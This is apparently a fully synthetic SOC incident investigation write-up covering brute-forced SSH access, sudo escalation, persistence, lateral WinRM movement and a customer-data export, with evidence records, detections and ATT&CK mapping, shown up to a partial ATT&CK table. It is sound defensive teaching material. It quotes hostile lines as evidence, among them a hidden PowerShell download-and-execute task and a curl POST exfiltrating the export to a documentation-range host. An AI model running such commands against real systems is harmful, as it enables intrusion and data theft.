home / projects / soc-incident-response

NS-2026-1008: a reproducible SOC incident

Twenty-three sections that build an incident the honest way round: design the environment, design the attack, generate the telemetry, validate it, investigate it, then write it up. Every claim cites an evidence record whose raw bytes and SHA-256 are published alongside.

Controlled simulated environment. All identities, infrastructure, telemetry, indicators and incidents on this page are synthetic. Addresses use the RFC‑5737 documentation ranges 192.0.2.0/24, 198.51.100.0/24 and 203.0.113.0/24. There are no real people, credentials, keys or organisations here, and no working exploit code. The whole investigation is downloadable at /projects/soc-incident-response/.

At a glance

NS-2026-1008 · simulated · closed

Incident: Valid-account intrusion, root escalation, persistence, lateral movement and a confirmed bulk export of customer data
Environment: edge-01, app-01 (Ubuntu), db-01 (PostgreSQL), ws-02 (Windows), bkp-01, bastion
Attacker: 198.51.100.24 (operator) · 198.51.100.60 (collection endpoint)
Severity: HIGH raised by confirmed root access and confirmed data export
Window: 2026-10-08 08:41:12Z → 12:26:40Z (detection at 09:17:40Z, MTTD 34m23s)
Evidence: 65 records · 16 telemetry files · every citation re-hashed by verify_evidence.py --strict
Detections: 7 rules derived from observed behaviour · 8/8 golden tests pass
Outcome: Contained, eradicated and recovered; two findings remain probable and one cause unresolved

01 · Mission and scope

The goal was not to write a story about an intrusion. It was to build a small but real investigation whose every sentence can be checked by a stranger with a shell. The method was fixed before any narrative existed:

environment  ->  attack design  ->  telemetry  ->  validation  ->  investigation  ->  findings  ->  write-up

The telemetry is generated **first** and is the only source of truth. The analyst who reads it is deliberately not omniscient: they start from one alert and one dataset, and they can only conclude what the bytes support. Where the bytes do not settle a question, the answer is left open and labelled as such. Three rules governed the build: - **No orphan claims.** Every finding, timeline row and technique maps to an evidence ID that resolves in evidence/manifest.yaml. - **No anonymous data.** Every evidence record publishes the exact raw line it came from and the SHA‑256 of that line. - **No tidy story.** The dataset deliberately contains benign logins, internet scan noise, a resolver gap and a clock-skewed host, because real evidence does.

02 · Environment design

written before the telemetry

Northstar Systems is a synthetic B2B SaaS company. Five Linux and Windows hosts carry enough detail to support the incident and no more. The design fixes the log sources, the users, the network paths and the deliberate blind spots first, so the telemetry has something consistent to come from.

Host	Address	Role	Telemetry
`edge-01`	203.0.113.10	Internet-facing nginx + NAT (8022→`app-01:22`)	nginx access, firewall/pf
`app-01`	192.0.2.20	Ubuntu app server, service account `deploy`	auth.log, auditd, syslog, crontab, flows, DNS
`db-01`	192.0.2.30	PostgreSQL 15, customer + order tables	PostgreSQL log
`ws-02`	192.0.2.60	Windows workstation, owner `j.okafor`	Security (JSON), PowerShell operational
`bkp-01`	192.0.2.77	Nightly backup host (benign noise source)	auth.log entries
bastion	192.0.2.10	Ops jump host	auth.log entries

Three flaws are designed in on purpose, because they are what the incident turns on: a shared, long-lived deploy password reachable directly from the internet through the NAT rule; a pre-existing NOPASSWD: ALL sudo grant; and a flat internal network that lets app-01 reach the workstation segment. A fourth, ws-02, runs +38 seconds fast — a clock-skew artefact the investigation has to handle rather than hide.

Design references: lab/environment.md (hosts, users, network, gaps) and data/README.md (each file, its format and its fidelity).

03 · Attack design

what the environment will do

The attack was written as a sequence of actions the environment could actually record, before any log line existed. It is deliberately unglamorous: no exploit, no malware. Every stage uses a valid credential or a configuration weakness, which is what makes it hard to detect.

08:41  password-guessing burst against deploy   (AUTH-001..013)
08:43  valid logon                              (AUTH-014/015)
       interactive shell + discovery             (PROC-003..008)
       read .env (app_ro password)               (FILE-001 / PROC-006)
       sudo -i -> root (pre-existing NOPASSWD)    (PRIV-001/002)
       read inventory.ini (svc_backup password)  (FILE-002)
       cron drop-in + SSH key                    (PERSIST-001/002)
       internal reachability sweep               (PROC-012)
       psql COPY of customers+orders             (APP-001..004, PROC-016)
       stage export locally                      (FILE-004)
       WinRM to ws-02 as svc_backup              (NET-003/NET-006)
       copy work share, schedule task            (PROC-030..034, PERSIST-003)
       HTTPS POST of staged data                 (NET-002, PROC-017)
       second transfer from ws-02                (NET-007)

Design rule. The attacker never does anything a detection could trivially catch from a single golden IOC: the exfiltration goes to a new IP over 443, the persistence uses ordinary paths, and the lateral hop uses the platform's own remote-management service. That is what forces behaviour-based detections later.

04 · Telemetry and validation

the dataset is the source of truth

A single deterministic generator (scripts/generate_dataset.py) writes all sixteen telemetry files and the evidence manifest. Because one program owns both, the numbers cannot disagree: the byte count in the PostgreSQL log is the same number written into the manifest, the timeline and this page.

File	Records	What it carries
`auth/app01_auth.log`	64 lines	sshd + sudo + PAM on `app-01`
`linux/app01_auditd.log`	30 records	EXECVE + PATH watches on `app-01`
`linux/app01_syslog.log`	context	systemd / kernel context
`linux/app01_crontab.txt`, `app01_authorized_keys.txt`	context	pre/post-incident file state
`windows/ws02_security.jsonl`	11 events	4624/4625/4672/4688/4698/4699/5145
`windows/ws02_powershell.jsonl`	operational	4103/4104 script blocks
`network/app01_flows.jsonl`	133 flows	conntrack-style flow export
`network/firewall.log`	pf log	edge blocks, including containment
`dns/app01_dns.jsonl`	101 queries	resolver queries, with a deliberate gap
`application/db01_postgresql.log`	server log	connections, COPY, duration
`application/edge01_nginx.log`	access log	web tier, incl. unrelated scanning

Validation is not a claim, it is four commands. They run from the repository root and fail loudly if anything drifts:

$ python3 scripts/generate_dataset.py --check     # regenerate; commit must be byte-identical
dataset check: OK

$ ( cd data && sha256sum -c SHA256SUMS )          # 13 data files
README.md: OK ... windows/ws02_security.jsonl: OK

$ python3 scripts/verify_evidence.py --strict     # 65 evidence citations re-read + re-hashed
verify_evidence: 65 evidence records, 0 failures

$ python3 scripts/build_notebook.py --check        # notebook outputs reproduce from data
notebook check: OK (22 cells)

verify_evidence.py --strict does three things that matter: it re-reads the exact raw record behind every evidence ID and confirms its SHA-256; it fails if two records cite the same bytes; and it fails if a data file is never cited. That last check is what stops the dataset from becoming decoration.

Note on the ws-02 clock. Eleven Windows records carry an explicit clock_skew_s: 38 field. The manifest stores normalised UTC (raw − 38s) so the timeline is monotonic across hosts; the raw record is shown unchanged in its card. The skew is documented as gap GAP-003, not corrected away silently.

05 · The alert

what the analyst actually received

Nobody wakes up knowing it was an intrusion. The investigation starts from one triage-grade alert with no attacker attribution and no severity beyond a guess.

ALERT-001   correlation rule "auth anomaly + privileged activity"
  host      app-01
  account   deploy
  source    198.51.100.24
  observed  repeated SSH failures for deploy, then a success, then a sudo to root
  raised    2026-10-08 09:17:40Z
  initial severity  medium

This is the honest starting point. The alert is itself a product of the investigation's detection work (DET-001/DET-004, section 19). At 08:43 the real environment had no such rule; the 34m23s gap between access and alert is the cost of that gap. The rule is reproduced in the repository so its output can be replayed.

The alert is a lead, not a finding. Everything below is the analyst turning that lead into evidence, and rejecting the alternatives the evidence does not support.

06 · Triage

five questions, answered from records

The same format is used for every question: question → source → query → evidence → interpretation → confidence → alternative. The triage answers the minimum needed to decide whether to escalate, and no more.

Question	Answer	Evidence	Confidence
Did the logon actually happen?	Yes — valid password accepted	AUTH-014, AUTH-015	High (FACT)
Is the source known?	No prior history for `deploy`; only `192.0.2.77` seen before	AUTH-014 vs AUTH-031	High for absence
What happened next?	Interactive shell within 2s, discovery within 5s	PROC-003, PROC-004..008	High (CORROBORATED)
Did they escalate?	Yes — root shell at 08:45:10	PRIV-001, PRIV-002	High (CORROBORATED)
Is there persistence?	Three mechanisms across two hosts	PERSIST-001/002/003	High (FACT)

Triage conclusion: confirmed compromise, high severity, escalate to incident response. Note the discipline: each answer names the record that settles it, and the two facts that were not established at triage — how the password was obtained, and what data left — are carried forward as open questions (section 07) rather than guessed.

07 · Hypothesis register

what is tested, and what died

An investigation is a set of hypotheses being eliminated. Keeping the eliminated ones is as important as keeping the survivors, because a disproven hypothesis is a decision not to chase a false lead.

ID	Hypothesis	Status	Deciding evidence
H-001	`deploy` account compromised	Confirmed	AUTH-014, PROC-003
H-002	Credential obtained by guessing / stuffing / prior breach	Unresolved	AUTH-001..013 — cannot distinguish
H-003	Persistence established	Confirmed	PERSIST-001/002/003
H-004	`db-01` reached directly from the internet	Disproven	Q16 = 0 firewall matches; HUNT-003
H-005	Other accounts compromised	Disproven	AUTH-017/018 rejected; HUNT-001
H-006	Customer data exfiltrated	Probable	APP-003, FILE-004, NET-002
H-007	`edge-01` exploited to pivot	Disproven	nginx log, firewall, HUNT-003
H-008	`ws-02` staged files were transferred	Probable	FILE-005, NET-007

08 · Initial access

a failure burst, then a success

Query Q1 asks the narrowest possible question: every authentication event for the account, from the source that appears in the alert.

$ grep -n "198.51.100.24" data/auth/app01_auth.log

31:Oct  8 08:43:14 app-01 sshd[4496]: Failed password for deploy from 198.51.100.24 port 39184 ssh2
33:Oct  8 08:43:17 app-01 sshd[4821]: Accepted password for deploy from 198.51.100.24 port 48219 ssh2
... 11 failed-password lines for `deploy` between 08:41:29 and 08:43:14 (13 failures across all accounts) ...

Interpretation. The success sits at the end of a dense burst, not in normal traffic. The addresses in the file are not only the attacker's — the dataset also carries unrelated failed logins from other sources as noise, so the failure count is not by itself meaningful; the failure-to-success sequence for one account from one source is.

AUTH-014Successful SSH authentication for deploy from the attacker sourceCORROBORATED FACT

Oct  8 08:43:17 app-01 sshd[4821]: Accepted password for deploy from 198.51.100.24 port 48219 ssh2

source data/auth/app01_auth.log · sha256 8b891f8ca7c04af62cfffb518a6e29d57d21a60738941283e885e0f36b8b5170

Interpretation. The credential was valid; this is not a web exploit or a spoofed logon. Corroborated by the matching PAM session (AUTH-015) and the shell that follows in auditd (PROC-003).

Disposition. Malicious, in an unauthorised session.

AUTH-031A benign prior source: the nightly backup hostBENIGN

Oct  8 06:12:03 app-01 sshd[4402]: Accepted password for deploy from 192.0.2.77 port 51104 ssh2

source data/auth/app01_auth.log · sha256 edd23df895069dd8cbfe21d5254b907f74f8aedbfe3fa5bf1ad546454a1aba90

Interpretation. This is why the investigation cannot simply say "unusual logon". The same account logs in from a known backup host at 06:12 on the same day. This record is also the seed of DET-001's first false positive (section 19) — a real benign row, not an invented one.

Alternative rejected. A web-tier pivot was considered (H-007) and eliminated: nginx shows only unrelated scanning (Q15), and the firewall records the SSH connection arriving directly from the internet. The entry point is the account, not the application.

09 · Host forensics

the process tree from auditd

With an interactive shell established, the endpoint audit trail becomes the primary record. auditd's EXECVE records give the exact command line of each process, in order.

$ grep -h "type=EXECVE" data/linux/app01_auditd.log | grep -o 'a0="[^"]*"[^|]*' | head

a0="/bin/bash" a1="-i"
a0="/bin/sh" a1="-c" a2="id; uname -a; hostname -I"
a0="/bin/ls" a1="-la" a2="/opt/northstar/app/"
a0="/bin/cat" a1="/opt/northstar/app/.env"
a0="/bin/sh" a1="-c" a2="ss -tunap; ps aux"
a0="/usr/bin/crontab" a1="-l"
a0="/usr/bin/sudo" a1="-l"
a0="/usr/bin/sudo" a1="-i"

Interpretation. The first commands are textbook host and network discovery, then privilege enumeration, then escalation. The pattern is coherent with a human operator, not a scripted worm.

PROC-003Interactive shell spawned under the SSH sessionCORROBORATED FACT

type=EXECVE msg=audit(10/08/2026 08:43:19.000:2002) : argc=2 a0="/bin/bash" a1="-i"

source data/linux/app01_auditd.log · sha256 82ddf674aa0ce5819c981ca22f4fca9413bc65539e0ad7ad98ce2238a687cb48

Interpretation. Two seconds after the logon, the session requests an interactive shell. The auth record (AUTH-014) and the endpoint record agree on time and user, which is why this is corroborated rather than merely observed.

Astute readers will ask why PROC-003 rather than PROC-001. The IDs are stable keys, not ranks. A gap means only that no record was emitted with that key — there is no hidden significance in the digits, and evidence/manifest.yaml is the authority for what exists.

10 · Privilege escalation

no exploit was needed

Query Q4 searches the OS sudo log, not the audit trail, so the finding does not depend on one source. The same event appears in both.

$ grep -n "sudo" data/auth/app01_auth.log

5:Oct  8 07:42:03 app-01 sudo: ops   : TTY=pts/1 ; PWD=/home/ops ; USER=root ; COMMAND=/usr/bin/apt-get -y update
36:Oct  8 08:45:10 app-01 sudo: deploy: TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash

Interpretation. One legitimate ops maintenance command at 07:42, and the attacker's escalation at 08:45. The distinguishing signal is not "sudo happened" — the ops login is a real false positive for DET-004 — but "a service account opened an interactive root shell."

PRIV-002sudo -i: the deploy service account spawned a root shellCORROBORATED FACT

Oct  8 08:45:10 app-01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash

source data/auth/app01_auth.log · sha256 ee3ecfce0d28218970983df747ce81c28173ac5764d1037affc2a99ad6c54a01

Interpretation. The command is /bin/bash, not a scoped tool. The escalation relied on a pre-existing NOPASSWD: ALL grant, so no credential was needed and no exploit was involved — a control-design failure, not a vulnerability. The endpoint side is PROC-010.

Why it matters. This single event converts a stolen password into a full host compromise. It is the reason severity was raised from medium to high.

11 · Persistence

three mechanisms, two operating systems

Persistence was hunted with Q11, which deliberately spans both platforms: auditd PATH watches on Linux, Windows Security 4698 for scheduled tasks.

$ cat scripts/queries/q00-all-queries.sh | sed -n '/Q11/,/^$/p'
Q11. Persistence hunt: cron drops, authorized_keys writes, scheduled tasks

$ grep -rn "cron.d\|authorized_keys" data/linux/app01_auditd.log | grep type=PATH
21:type=PATH ... name="/etc/cron.d/.sysupdate" ...
23:type=PATH ... name="/home/deploy/.ssh/authorized_keys" ...

$ jq -r 'select(.event_id==4698) | .task_name' data/windows/ws02_security.jsonl
\OneDriveUpdate

PERSIST-001Malicious cron drop-in written to /etc/cron.d/.sysupdateFACT

type=PATH msg=audit(10/08/2026 08:49:15.000:2017) : item=0 name="/etc/cron.d/.sysupdate" inode=853724 dev=fd:01 mode=0100644 ouid=0 ogid=1001 rdev=00:00

source data/linux/app01_auditd.log · sha256 8be0ac69f98c4225d7be79dfbf6e512a49fb0e4d2e4524545a1ac616d6a2bfc0

Interpretation. A dot-prefixed filename inside /etc/cron.d, written from the attacker's root shell four minutes after escalation. The leading dot hides it from a casual ls. This is the pivot for detection DET-003 (a cron drop-in written by an interactive session).

PERSIST-002Attacker SSH key appended to authorized_keysFACT

type=PATH msg=audit(10/08/2026 08:50:22.000:2019) : item=0 name="/home/deploy/.ssh/authorized_keys" inode=866645 dev=fd:01 mode=0100600 ouid=0 ogid=1001 rdev=00:00

source data/linux/app01_auditd.log · sha256 a4d2954be9a48abd5be54f020d8c45633fbc0b287560a430242b1b1b9684732b

Interpretation. A second, password-independent way back in. The key was later rejected after containment (AUTH-018), which confirms it was real and removed. This maps to ATT&CK T1098.004 and is the behaviour the site's standing rule ssh-authorized-keys-modified detects.

PERSIST-003Windows scheduled task \OneDriveUpdate created on ws-02FACT

{"action": "created", "channel": "Security", "clock_skew_s": 38, "event_id": 4698, "host": "ws-02", "target_user": "svc_backup", "task_name": "\\OneDriveUpdate", "task_xml": "2026-10-08T21:00:00powershell.exe-ep bypass -nop -w hidden -c IEX (Invoke-WebRequest http://198.51.100.60/i.txt).Content", "ts": "2026-10-08T09:07:37.000Z"}

source data/windows/ws02_security.jsonl · sha256 147397e4eeedf5945987966c1edda6ec498f8b82ae12528d22c86951f736ea3b

Interpretation. The task name imitates legitimate updater software, but the XML is explicit: it executes a hidden PowerShell that downloads and runs a remote script from the collection endpoint. The record carries clock_skew_s: 38, so its normalised UTC is 09:06:59. Deletion after eradication is PERSIST-006.

12 · Credential and data access

plaintext secrets, then a bulk export

The attacker did not break into the database. They read a file containing its password and used it normally. Query Q6 shows the server's own view.

$ grep -n "connection authorized\|COPY\|disconnection" data/application/db01_postgresql.log

2:2026-10-08 08:57:44 UTC [15233-1] app_ro@northstar LOG: connection authorized: user=app_ro database=northstar application_name=psql host=192.0.2.20
4:2026-10-08 08:58:04 UTC [15233-2] app_ro@northstar LOG: execute COPY: COPY (SELECT c.id, c.email, c.company, o.total_cents, o.placed_at FROM customers c JOIN orders o ON o.customer_id = c.id) TO STDOUT WITH CSV HEADER
5:2026-10-08 09:03:41 UTC [15233-2] app_ro@northstar LOG: duration: 337281.402 ms  rows=412880  bytes=224395201  statement: COPY (SELECT ...) TO STDOUT WITH CSV HEADER

Interpretation. A reporting account that normally connects from the application opens a session from app-01 as a psql client, counts the table first (size reconnaissance), then streams every customer and order row. The 14-minute gap between the .env read and this session is what links the file to the credential.

FILE-001Read of the application secret file .envFACT

type=PATH msg=audit(10/08/2026 08:43:47.000:2006) : item=0 name="/opt/northstar/app/.env" inode=811633 dev=fd:01 mode=0100640 ouid=1001 ogid=1001 rdev=00:00

source data/linux/app01_auditd.log · sha256 f1ee05c04678f14f4577ac5bf30655380801ca9ef026f07d0c5d25fe64365ada

Interpretation. The file held the app_ro database password in plaintext. The read is only visible because an audit watch existed on /opt/northstar/app; where no watch exists, equivalent reads would be invisible (GAP-005).

APP-003The bulk export: 412,880 rows, 224,395,201 bytesCORROBORATED FACT

2026-10-08 09:03:41 UTC [15233-2] app_ro@northstar LOG:  duration: 337281.402 ms  rows=412880  bytes=224395201  statement: COPY (SELECT ...) TO STDOUT WITH CSV HEADER

source data/application/db01_postgresql.log · sha256 edb52849f86b29b568687dbd43edcb05e31a1f38713914cf88f0ca6c26898369

Interpretation. This is the sentence that makes the incident. The byte count 224,395,201 reappears independently in three places: this database log, the staging file written on app-01 (FILE-004), and, plus TLS framing, the wire transfer (NET-002). Three sources agreeing on one number is what "corroborated" means here.

FILE-004Export staged locally as /tmp/.cache/cust.csvCORROBORATED FACT

type=PATH msg=audit(10/08/2026 09:03:41.000:2022) : item=0 name="/tmp/.cache/cust.csv" inode=866812 dev=fd:01 mode=0100600 ouid=0 ogid=0 rdev=00:00

source data/linux/app01_auditd.log · sha256 2f77d039314991b5525ee98c9ddb06382ccd3c6683318e3284fa81469214f247

Interpretation. The staged file appears the same second the COPY completes, at 09:03:41. The .cache directory and mode 0100600 are consistent with the earlier stub-script creation (PROC-015), which pre-positioned the hiding place before the export.

Assessment. Data access is confirmed; whether the destination retained the data is unresolved (U-002) because there is no packet capture and no visibility into the receiving host (GAP-001). The investigation keeps that distinction.

13 · Exfiltration

tying the export to the wire

Query Q7 sorts outbound flows by bytes. The result is not a list of suspicious IPs; it is a list of volumes, and one volume dominates every other flow on the sensor.

$ jq -r 'select(.dst|test("^192.0.2")|not) | [.ts,.src,.dst,.dport,(.bytes_out|tostring)] | @tsv' \
    data/network/app01_flows.jsonl | sort -t$'\t' -k5 -rn | head

2026-10-08T09:08:12.000Z  192.0.2.20  198.51.100.60  443  224402933
2026-10-08T09:11:31.000Z  192.0.2.60  198.51.100.60  443  12144896
2026-10-08T18:28:06.000Z  203.0.113.20 203.0.113.10  445  1390
... every other flow under 1.5 KB ...

Interpretation. The two largest flows in the entire dataset both target 198.51.100.60 within three minutes of each other. The first is app-01; the second is ws-02. The database export (224,395,201 B) and the wire volume (224,402,933 B) differ by 7,732 bytes — the expected HTTP/TLS framing overhead, not a mismatch.

NET-002224 MB exfiltration from app-01 to 198.51.100.60CORROBORATED FACT

{"action": "pass", "bytes_in": 1412, "bytes_out": 224402933, "dport": 443, "dst": "198.51.100.60", "proto": "tcp", "sensor": "app-01-conntrack", "sport": 39744, "src": "192.0.2.20", "ts": "2026-10-08T09:08:12.000Z"}

source data/network/app01_flows.jsonl · sha256 eac1fd12bf91e9f5783928d3c6962c0e0c02fff17bf38ad55c8629fb24eca6d6

Interpretation. The flow matches the curl POST (PROC-017, same second, same destination) and its volume matches the staged file. At this point the export and its departure are established by three independent sources: database, endpoint and network.

PROC-017The uploader: curl POST of the staged exportCORROBORATED FACT

type=EXECVE msg=audit(10/08/2026 09:08:12.000:2023) : argc=7 a0="/usr/bin/curl" a1="-s" a2="-X" a3="POST" a4="--data-binary" a5="@/tmp/.cache/cust.csv" a6="https://198.51.100.60/upload"

source data/linux/app01_auditd.log · sha256 18cef74b9cd3c7f4d5279265c5a794adf3bc1a40160954ebe2423f6c06dcfce6

Interpretation. The command line names the file and the destination explicitly. This is the strongest single record in the incident: it does not infer intent, it shows the exact bytes being offered to the exact endpoint. It also defeats the "this was a backup job" alternative — no backup tool ran; an interactive curl did.

14 · Lateral movement

one hop, and only one

The sweep command executed at 08:47:20 (PROC-012) probed five hosts and three ports from app-01. The network flow export records which probes produced a completed connection, and the Windows Security log records the resulting logon. The two are then matched on port and time.

$ jq -r 'select(.dst=="192.0.2.60") | [.ts,.src,.dport,(.action)] | @tsv' data/network/app01_flows.jsonl
2026-10-08T09:03:51.000Z  192.0.2.20  5985  pass

$ jq -r 'select(.event_id==4624 or .event_id==4625) | [.ts,.event_id,.target_user,(.source_ip//"-")] | @tsv' \
    data/windows/ws02_security.jsonl
2026-10-08T09:04:22.000Z  4625  backup     192.0.2.20
2026-10-08T09:04:29.000Z  4624  svc_backup 192.0.2.20
2026-10-08T08:05:50.000Z  4624  j.okafor   -

Interpretation. Only one internal host answers: ws-02. The failed attempt as backup seven seconds before a success as svc_backup is a credential being corrected — the password came from the deployment inventory read at FILE-002. j.okafor logging on locally at 08:05:50 is the workstation's normal owner, not the attacker.

NET-006WinRM network logon to ws-02 as svc_backup from app-01CORROBORATED FACT

{"auth_package": "Negotiate", "channel": "Security", "clock_skew_s": 38, "event_id": 4624, "host": "ws-02", "logon_process_name": "NtLmSsp", "logon_type": 3, "source_ip": "192.0.2.20", "source_port": 49712, "target_domain": "WS-02", "target_user": "svc_backup", "ts": "2026-10-08T09:04:29.000Z"}

source data/windows/ws02_security.jsonl · sha256 159dd7a374de00ada0bc8bbb69b662ae803ced8c2b85cede22ba2cf01335a801

Interpretation. Type-3 (network) logon over the WinRM port 5985 from the compromised host, using a service account. The network half is NET-003; the host half is this record. The clock-skew field again normalises the timestamp to 09:03:51. This is the only lateral hop in the dataset.

Two hypotheses die here cleanly. H-004 (db-01 reached directly) fails because the flow export shows all database traffic arriving from app-01, never from the internet, and the firewall confirms it (Q16 = 0 matches). H-005 (other accounts compromised) fails because the only subsequent authentication for deploy is two rejections after containment (AUTH-017, AUTH-018). A negative result is still a result.

15 · Timeline

generated from the manifest, not typed

The timeline is produced by scripts/build_timeline.py by reading the evidence manifest row by row. A timeline row cannot exist unless the evidence record behind it does. Response actions that leave no telemetry of their own (disabling the account) are appended from an explicitly-labelled table and each cites the telemetry that validates it.

08:41:12  app-01   AUTH-001..013  13 failed password attempts from 198.51.100.24
08:43:17  app-01   AUTH-014       Accepted password for deploy  (INITIAL ACCESS)
08:43:19  app-01   PROC-003       interactive shell
08:43:47  app-01   FILE-001       /opt/northstar/app/.env read
08:45:10  app-01   PRIV-002       sudo -i -> root shell
08:45:31  app-01   FILE-002       inventory.ini read (ws-02 credential)
08:49:15  app-01   PERSIST-001    /etc/cron.d/.sysupdate written
08:50:22  app-01   PERSIST-002    attacker key -> authorized_keys
08:52:10  app-01   DNS-002        resolver gap begins
08:57:44  db-01    APP-001        app_ro session authorised
08:58:04  db-01    APP-002/003    COPY (412,880 rows) begins
09:03:22  app-01   DNS-003        resolver gap ends
09:03:41  db-01    APP-003        COPY completes, 224,395,201 bytes
09:03:41  app-01   FILE-004       staged to /tmp/.cache/cust.csv
09:03:51  app-01   NET-003/NET-006 WinRM lateral logon as svc_backup
09:06:12  ws-02    FILE-005       work share staged (11,632,640 bytes)
09:06:59  ws-02    PERSIST-003    scheduled task \OneDriveUpdate created
09:08:12  app-01   NET-002        HTTPS POST of export to 198.51.100.60
09:11:31  ws-02    NET-007        HTTPS transfer to 198.51.100.60
09:17:40  siem     ALERT-001      DETECTION  (MTTD 34m23s)
09:44:12  app-01   ACCOUNT-001    deploy disabled, session killed  (CONTAINMENT)
09:47:31  app-01   AUTH-017       same source rejected
09:52:08  app-01   AUTH-018       attacker key rejected
10:05:44  app-01   PERSIST-004    cron drop-in removed
10:07:12  app-01   PERSIST-005    authorized_keys restored
10:14:03  app-01   FILE-006       staged export shredded
10:34:08  ws-02    PERSIST-006    scheduled task deleted   (ws-02 clock 10:34:46)
10:38:12  db-01    APP-005        app reconnected after credential rotation
10:44:02  app-01   AUTH-033       rebuilt host reachable via key-only account

Two honesty notes. First, the timeline spans detection through recovery, not just the attack: containment and eradication are part of the record. Second, ACCOUNT-001 is a response-action identifier, not a raw telemetry record — the account disable is proven by the two rejected logins (AUTH-017/018) that follow it. The full 70-row machine-readable timeline is timeline/timeline.csv.

16 · Correlation matrix

which sources agree

A finding is only as strong as the number of independent sources that support it. The matrix makes the source coverage explicit, and it shows where confidence is lower — the workstation collection has no endpoint-side proof of transfer.

Finding	Auth	Endpoint	Network	File / App	Confidence
Initial access	✓	✓	—	—	High
Privilege escalation	✓	✓	—	—	High
Persistence (app-01)	—	✓	—	✓	High
Credential access (files)	—	✓	—	✓	High
Internal reconnaissance	—	✓	✓	—	High
Database export	—	✓	✓	✓	High
Lateral movement	✓	✓	✓	—	High
Workstation collection	—	✓	✓	✓	Medium
Exfiltration (app-01)	—	✓	✓	✓	High
Exfiltration (ws-02)	—	—	✓	✓	Medium
Persistence (ws-02)	—	✓	—	✓	High

Reading it. "High" means at least two independent sources agree, or one source records the act unambiguously. "Medium" means the evidence supports the inference but cannot confirm content — the ws-02 transfer is seen on the wire (NET-007) and its staged size matches (FILE-005), but no packet capture exists, so what precisely left is probable, not proven (U-003).

17 · IOC database

provenance before verdict

Every indicator is listed with the evidence that introduced it and a classification derived from that evidence. Two indicators were seen during the incident and are deliberately not called malicious, because the evidence does not connect them to the intrusion.

Indicator	Type	Evidence	First / last seen	Classification
`198.51.100.24`	IPv4, operator	AUTH-001..018	08:41:12 → 09:52:08	Confirmed malicious
`198.51.100.60`	IPv4, collection	NET-002, NET-007	09:08:12 → 09:11:31	Confirmed malicious
`198.51.100.60/upload`, `/i.txt`	URL path	NET-002, PERSIST-003	09:08 / 09:07	Confirmed malicious
`SHA256:Rr8v1…oI3pG`	SSH public key	PERSIST-002, AUTH-018	08:50:22 → 10:07:12	Confirmed malicious
`/etc/cron.d/.sysupdate`	File path	PERSIST-001, PERSIST-004	08:49:15 → 10:05:44	Confirmed malicious
`/tmp/.cache/.k`	File path	PROC-015	08:51:10 → 10:14:03	Confirmed malicious
`\OneDriveUpdate`	Scheduled task	PERSIST-003, PERSIST-006	09:07:37 → 10:34:46 (ws-02 clock)	Suspicious
`deploy`	Account	AUTH-014	08:43:17 → 09:44:12	Compromised
`svc_backup`	Account	NET-006	09:04:29 (ws-02 clock)	Abused
`192.0.2.77`	IPv4	AUTH-031	06:12:03	Benign (backup)
`192.0.2.10`	IPv4	AUTH-032	07:41:55	Benign (bastion)
`198.51.100.77`, `203.0.113.90`	IPv4	nginx / auth.log	08:20:44 / 08:33:10	Unknown scanning

The discipline is in the last row. Two addresses probed the web tier on the same morning. They are recorded, timestamped and left unknown. Labelling them malicious because they share a day with an incident is exactly the correlation error the repository is built to demonstrate avoiding. The machine-readable list is iocs/iocs.csv.

18 · Threat hunts

including the ones that found nothing

Four hunts were run after the initial findings, to test scope rather than confirm it. Two returned definitive negatives, which is the point.

Hunt	Question	Result	Conclusion
HUNT-001	Were other accounts accessed from the attacker infrastructure?	No — only `deploy`, plus rejected attempts after containment	Disproven (H-005)
HUNT-002	Is there persistence beyond the three found?	No further mechanisms in the collected sources	Three, no others
HUNT-003	Did the attacker reach `db-01` or other hosts directly?	One hop only (`ws-02`); `db-01` access originates at `app-01`	H-004 / H-007 disproven
HUNT-004	Was data staged anywhere further?	Corroborated on `app-01`; probable on `ws-02`	Corroborated / probable

Why negative hunts matter. A hunt that finds nothing still constrains the incident's blast radius. HUNT-003 is what allows the report to say "one lateral hop" rather than "unknown lateral movement", and it is the evidence behind two disproven hypotheses. Reports that contain only positive findings are usually reports that did not look.

Files: hunts/HUNT-001-other-accounts.md, HUNT-002-additional-persistence.md, HUNT-003-lateral-movement.md, HUNT-004-data-staging.md, each with its real query output (including empty results).

19 · Detection engineering

written after the data, tuned on real false positives

The detections were derived from the observed behaviour, then run against the dataset and tuned against the benign rows it contains. Seven rules cover the intrusion; a detection is only accepted if it reproduces a golden output, and where there is a tuning story the test runs both the before and after versions.

ID	Detects	Evidence	ATT&CK
DET-001	SSH failure burst → success	AUTH-001..014	T1110.001, T1078
DET-002	Service account → interactive root shell	PRIV-001/002	T1548.003
DET-003	Cron drop-in written by an interactive session	PERSIST-001	T1053.003
DET-004	Login correlated with privileged execution	AUTH-014 + PRIV-002	T1078, T1548.003
DET-005	`authorized_keys` modified	PERSIST-002	T1098.004
DET-006	Large egress to a first-seen external endpoint	NET-002, NET-007	T1041
DET-007	Remote service logon from a non-management host	NET-006, PROC-030	T1021.006

The tuning is not decorative. DET-001's first version fired on the nightly backup retry (AUTH-031). DET-004 v1 fired on the legitimate ops maintenance login AUTH-032. Both false positives are real rows in the same dataset — a detection tuned on a dataset with no noise is not tuned at all. The tests make the before/after reproducible:

$ bash detections/tests/run-tests.sh
PASS DET-001  v1 before tuning (TP + backup FP)
PASS DET-001  v2 after tuning (TP only)
PASS DET-002  service-account sudo root
PASS DET-003  cron drop-in write
PASS DET-004  v1 before tuning (TP + ops FP)
PASS DET-004  v2 after tuning (TP only)
PASS DET-006  bulk outbound to first-seen external
PASS DET-007  remote service logon + script
all detections validated against the dataset

What the rules still do not cover. None of them detects how the password was obtained (no evidence exists), and none detects the secret-file reads except the assumed file-watch rule. This residual gap is reported, not hidden.

20 · ATT&CK mapping

only techniques the data supports

Techniques are mapped to evidence, not to intuition. Anything without a supporting record is left out, and the deliberate omissions are listed.

Technique	ID	Evidence	Note
Brute Force: Password Guessing	T1110.001	AUTH-001..013	Guessing vs stuffing vs reuse indistinguishable (U-001)
Valid Accounts	T1078	AUTH-014	The credential was valid
Command and Scripting Interpreter: Unix Shell	T1059.004	PROC-003/004	Interactive `bash -i`
System Information / File & Directory Discovery	T1082 / T1083	PROC-004/005	Host and tree enumeration
Unsecured Credentials: Credentials In Files	T1552.001	FILE-001/002	Plaintext secrets in `.env` and `inventory.ini`
